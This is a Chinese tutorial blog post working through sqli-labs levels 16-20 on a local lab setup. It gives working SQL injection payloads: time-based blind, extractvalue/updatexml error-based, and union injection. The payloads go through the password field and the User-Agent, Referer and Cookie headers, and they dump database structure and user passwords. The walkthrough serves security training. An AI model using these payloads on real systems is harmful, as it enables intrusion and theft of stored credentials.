生命在于折腾——SQL注入的实操(四)less16-20

一、实操环境

1、操作系统

  1. VMware虚拟机创建的win10系统
  2. 内存8GB
  3. 硬盘255GB
  4. 处理器AMD Ryzen 9 5900HX

2、操作项目

sql-lib项目,本篇文章介绍关卡16-20。

3、工具版本

  1. phpstudy 8.1.1.3
  2. php版本 5.4.45nts
  3. Apache2.4.39
  4. MySQL5.7.26
  5. Chrome

4、SQL注入目的

  1. 判断是否允许注入
  2. 判断注入点类型
  3. 判断回显点
  4. 获取数据库信息
  5. 获取表信息
  6. 获取字段信息

二、less16

1、判断注入

输入了admin’、admin"以及加上各种括号都不显示,可能是延迟注入,和15关一样,不一样的是这里为双引号盲注。

2、获取数据库信息

输入admin’’ and if(substr((select database()),1,1)=‘s’,sleep(5),1)#也可以用ascii判断

3、获取表信息

输入admin’’ and if((select count(*)from information_schema.tables where table_schema=database())=4,sleep(5),1)#

三、less17

1、判断注入

这一关就得多试试了,毕竟之前都是在username输入的,但不要忘记password输入框,在尝试过程中,无论username输入什么,回显都不变,那可能是在password存在注入点,尝试在password输入之前的东西,发现报错了,基于报错信息,可以知道是单引号注入,而且是报错注入。

2、获取数据库信息

利用extractvalue()报错注入,可以得到数据库名。
passwd=1’ and extractvalue(1,concat(‘~’,(select database()),‘~’))#
在这里插入图片描述

3、获取表信息

在passwd中,换成1’ and extractvalue(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),‘~’))#,就可以得到表名。
在这里插入图片描述

4、获取列信息

1’ and extractvalue(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),‘~’))#
在这里插入图片描述

5、获取用户名密码

passwd=1’ and updatexml(1,concat(0x7e,(select password from (select password from security.users limit 0,1)users),0x7e),1)#&submit=Submit
在这里插入图片描述

四、less18

1、判断注入

经过测试,登录成功后显示IP地址和浏览器版本信息,登录失败只显示ip地址,而在账户名和密码后加上’#,但都被转义了,所以不能使用sql注入,最后测试发现可以在http头部UA注入。

2、获取数据库信息

抓包发送到重发器,然后修改UA头。
在这里插入图片描述

可以看到库名
在这里插入图片描述

3、获取表信息

'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),0x7e),1) or ‘1’='1
在这里插入图片描述

4、获取列信息

'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 4,1),0x7e),1) or ‘1’='1在这里插入图片描述

5、获取字段信息

'or updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),1) or ‘1’='1
在这里插入图片描述

五、less19

1、判断注入

这一关和上一关类似,只是登录成功返回信息不一样,而且这一关是referer注入。

2、获取数据库信息

抓包,发送给重发器。
将referer改为1’,extractvalue(1,concat(0x5e,database())))#,获取到数据库名。
在这里插入图片描述

3、获取表信息

1’,extractvalue(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema = database()))))#
在这里插入图片描述

4、获取字段信息

1’,extractvalue(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = ‘users’))))#
在这里插入图片描述

5、获取详细信息

1’,extractvalue(1,concat(0x5e,(select group_concat(password) from users))))#
在这里插入图片描述

六、less20

1、判断注入

这一关是cookie存在注入,同样适用bp抓包。

2、获取数据库信息

这里注意识别一下,我这边是第二个数据包。更改cookie为uname=-admin’ union select 1,2,database()–+在这里插入图片描述
在这里插入图片描述

3、获取表信息

更改uname=Dumb’ and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x5e),1) #
在这里插入图片描述

4、获取字段名

更改uname=Dumb’ and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),0x5e),1) #
在这里插入图片描述

5、获取字段值

uname=Dumb’ and updatexml(1,concat(0x5e,(select username from users limit 0,1),0x5e),1) #
在这里插入图片描述

七、总结与小记

本篇文章是sql-lib的16关到20关,有什么问题请留言,万分感谢。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

「已注销」

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值